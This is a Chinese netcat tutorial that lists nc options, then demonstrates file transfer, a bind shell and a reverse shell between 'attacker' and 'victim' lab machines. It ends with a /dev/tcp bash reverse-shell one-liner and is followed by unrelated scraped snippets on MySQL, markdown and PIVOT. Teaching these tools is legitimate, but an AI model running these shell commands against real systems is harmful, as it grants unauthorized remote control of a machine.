一、使用手冊
1.簡介:nc/netcat是一款埠監聽工具,可以用來建立系統之間的連線、傳輸檔案、tcp**等。
2.命令引數
監聽埠等待連線:nc -l -p port [-options] [hostname] [port]
主要引數[options]:
-d 無命令列介面,使用後台模式
-e prog 程式重定向 [危險!!]
-g gateway 源路由跳躍點, 不超過8
-g num 源路由指示器: 4, 8, 12, ...
-h 獲取幫助資訊
-i secs 延時設定,埠掃瞄時使用
-l 監聽入站資訊
-l 監聽知道netcat被結束(可斷開重連)
-n 以數字形式表示的ip位址
-o file 使進製記錄
-p port 開啟本地埠
-r 隨機本地和遠端的埠
-s addr 本地源位址
-t 以telnet的形式應答入站請求
-u udp 模式
-v 顯示詳細資訊 [使用=vv獲取更詳細的資訊]
-w secs 連線超時設定
-z i/o 模式 [掃瞄時使用]
埠號可以是單個的或者存在乙個範圍: m-n [包含值]。
3.簡單使用:
測試環境:
作業系統:centos 7.7(1)檔案傳輸nc版本:7.50
系統a:192.168.226.128
系統b:192.168.226.129
系統a命令:nc -l -p 8978 > ./tmp.txt系統b命令:nc -v 192.168.226.128 8978 < ./test.txt
a系統
b系統(2)正向遠端連線
主要使用nc危險引數-e將受害者系統a的/bin/bash重定向到本地某埠8978,然後攻擊者系統b連線遠端埠8978
系統a命令:nc -t -e /bin/bash -l -p 8978系統b命令:nc -v 192.168.226.128 8978
a系統
b系統(3)反向連線
攻擊者系統b監聽本地埠8978,然後在受害者系統中使用nc危險引數-e將受害者系統a的/bin/bash重定向連線到遠端埠8978。
系統b命令:nc -lvp 8978系統a命令: nc -t -e /bin/bash 192.168.226.129 8978
a系統
b系統補充:
使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以進行**shell連線
系統a命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1系統b命令:nc -lvp 8978
b系統
a系統--broker引數可用於資料****使用(參考
參考鏈結
MySQL使用學習使用 mysql學習使用
1 mysql學習 1 安裝 ubuntu下直接安裝 apt get install mysql server 2 檢查伺服器是否啟動 sudo netstat tap grep mysql,如果啟動成功,出現以下資訊 tcp00localhost.localdomain mysql listen ...
學習使用CSDN markdown使用
建立乙個自定義列表 如何建立乙個註腳 注釋也是必不可少的 katex數學公式 新的甘特圖功能,豐富你的文章 uml 圖表 flowchart流程圖 匯出與匯入 你好!這是你第一次使用markdown編輯器所展示的歡迎頁。如果你想學習如何使用markdown編輯器,可以仔細閱讀這篇文章,了解一下mar...
學習使用PIVOT
假設有這樣的乙個需求 有乙個表中儲存了某個部門的各個員工的每一年的各類薪金,記錄儲存格式如 員工姓名 薪金數目 薪金種類 年份 現在要求根據員工的姓名進行查詢,查詢出某些員工各個年份的薪金總數,出來的結果要求 columnname 年份 員工1姓名 員工2姓名 columnvalue 年份 薪金總數...